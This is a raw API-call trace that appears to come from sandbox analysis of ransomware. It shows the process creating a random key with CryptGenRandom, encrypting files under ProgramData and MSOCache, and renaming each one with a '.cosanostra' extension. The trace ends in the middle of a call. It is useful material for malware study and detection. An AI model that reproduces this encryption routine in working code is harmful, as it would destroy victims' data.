CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.559] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fefe0 | out: pbBuffer=0x26fefe0) returned 1 [0107.559] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fefd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fefd8*=0x30) returned 1 [0107.559] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.559] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fefe0 | out: pbBuffer=0x26fefe0) returned 1 [0107.559] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fefd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fefd8*=0x30) returned 1 [0107.559] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.559] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fefd8 | out: pbBuffer=0x26fefd8) returned 1 [0107.559] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fefd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fefd0*=0x30) returned 1 [0107.559] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.559] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fefd8 | out: pbBuffer=0x26fefd8) returned 1 [0107.559] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fefd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fefd0*=0x30) returned 1 [0107.560] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.560] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fefd0 | out: pbBuffer=0x26fefd0) returned 1 [0107.560] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fefc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fefc8*=0x30) returned 1 [0107.560] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.560] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fefd0 | out: pbBuffer=0x26fefd0) returned 1 [0107.560] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fefc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fefc8*=0x30) returned 1 [0107.560] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\.." (normalized: "c:\\programdata\\microsoft\\crypto\\rsa"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.560] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fefc8 | out: pbBuffer=0x26fefc8) returned 1 [0107.560] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fefc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fefc0*=0x30) returned 1 [0107.560] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\." (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.560] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fefc0 | out: pbBuffer=0x26fefc0) returned 1 [0107.560] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fefb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fefb8*=0x30) returned 1 [0107.561] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\.." (normalized: "c:\\programdata\\microsoft\\crypto"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.561] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fefb8 | out: pbBuffer=0x26fefb8) returned 1 [0107.561] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fefb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fefb0*=0x30) returned 1 [0107.562] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\." (normalized: "c:\\programdata\\microsoft\\crypto\\keys\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.562] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fefa0 | out: pbBuffer=0x26fefa0) returned 1 [0107.562] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef98*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef98*=0x30) returned 1 [0107.562] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.562] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef98 | out: pbBuffer=0x26fef98) returned 1 [0107.562] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef90*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef90*=0x30) returned 1 [0107.563] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.563] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef98 | out: pbBuffer=0x26fef98) returned 1 [0107.563] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef90*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef90*=0x30) returned 1 [0107.563] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.563] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef90 | out: pbBuffer=0x26fef90) returned 1 [0107.563] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef88*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef88*=0x30) returned 1 [0107.563] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.563] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef90 | out: pbBuffer=0x26fef90) returned 1 [0107.563] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef88*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef88*=0x30) returned 1 [0107.563] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.563] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef88 | out: pbBuffer=0x26fef88) returned 1 [0107.563] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef80*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef80*=0x30) returned 1 [0107.563] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.564] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef88 | out: pbBuffer=0x26fef88) returned 1 [0107.564] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef80*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef80*=0x30) returned 1 [0107.564] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.564] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef80 | out: pbBuffer=0x26fef80) returned 1 [0107.564] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef78*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef78*=0x30) returned 1 [0107.564] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\.." (normalized: "c:\\programdata"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.564] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef80 | out: pbBuffer=0x26fef80) returned 1 [0107.564] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef78*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef78*=0x30) returned 1 [0107.564] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\." (normalized: "c:\\programdata\\microsoft\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.564] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef70 | out: pbBuffer=0x26fef70) returned 1 [0107.564] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef68*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef68*=0x30) returned 1 [0107.564] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10116_mui.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.565] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef68 | out: pbBuffer=0x26fef68) returned 1 [0107.565] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef60*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef60*=0x30) returned 1 [0107.565] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.565] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef68 | out: pbBuffer=0x26fef68) returned 1 [0107.565] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef60*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef60*=0x30) returned 1 [0107.565] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.565] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef60 | out: pbBuffer=0x26fef60) returned 1 [0107.565] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef58*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef58*=0x30) returned 1 [0107.565] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0107.566] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0107.566] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0107.584] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.584] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26fef1c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26fef1c*=0x2800, lpOverlapped=0x0) returned 1 [0107.585] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.585] WriteFile (in: hFile=0x180, lpBuffer=0x26fef5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26fef1c, lpOverlapped=0x0 | out: lpBuffer=0x26fef5c*, lpNumberOfBytesWritten=0x26fef1c*=0x4, lpOverlapped=0x0) returned 1 [0107.585] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26fef1c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26fef1c*=0x30, lpOverlapped=0x0) returned 1 [0107.585] CloseHandle (hObject=0x180) returned 1 [0107.585] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0107.586] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0107.637] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef60 | out: pbBuffer=0x26fef60) returned 1 [0107.637] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef58*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef58*=0x30) returned 1 [0107.638] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0107.638] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 79 [0107.638] StrStrW (lpFirst="OWOW32WW.cab", lpSrch=".txt") returned 0x0 [0108.093] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.093] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26fef1c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26fef1c*=0x2800, lpOverlapped=0x0) returned 1 [0108.094] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.094] WriteFile (in: hFile=0x180, lpBuffer=0x26fef5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26fef1c, lpOverlapped=0x0 | out: lpBuffer=0x26fef5c*, lpNumberOfBytesWritten=0x26fef1c*=0x4, lpOverlapped=0x0) returned 1 [0108.142] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26fef1c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26fef1c*=0x30, lpOverlapped=0x0) returned 1 [0108.142] CloseHandle (hObject=0x180) returned 1 [0108.143] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.cosanostra") returned 90 [0108.143] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.cosanostra")) returned 1 [0108.144] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef58 | out: pbBuffer=0x26fef58) returned 1 [0108.144] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef50*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef50*=0x30) returned 1 [0108.144] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0108.204] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 81 [0108.204] StrStrW (lpFirst="Office32WW.xml", lpSrch=".txt") returned 0x0 [0108.205] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0xffffef4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.205] WriteFile (in: hFile=0xe8, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x26fef14, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26fef14*=0x10b2, lpOverlapped=0x0) returned 1 [0108.213] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.213] WriteFile (in: hFile=0xe8, lpBuffer=0x26fef54*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26fef14, lpOverlapped=0x0 | out: lpBuffer=0x26fef54*, lpNumberOfBytesWritten=0x26fef14*=0x4, lpOverlapped=0x0) returned 1 [0108.213] WriteFile (in: hFile=0xe8, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26fef14, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26fef14*=0x30, lpOverlapped=0x0) returned 1 [0108.213] CloseHandle (hObject=0xe8) returned 1 [0108.213] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.cosanostra") returned 92 [0108.213] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.cosanostra")) returned 1 [0108.214] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26fef58 | out: pbBuffer=0x26fef58) returned 1 [0108.214] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26fef50*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26fef50*=0x30) returned 1 [0108.214] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe8 [0108.215] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76 [0108.215] StrStrW (lpFirst="setup.exe", lpSrch=".txt") returned 0x0 [0108.227] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.227] WriteFile (in: hFile=0xe8, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26fef14, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, 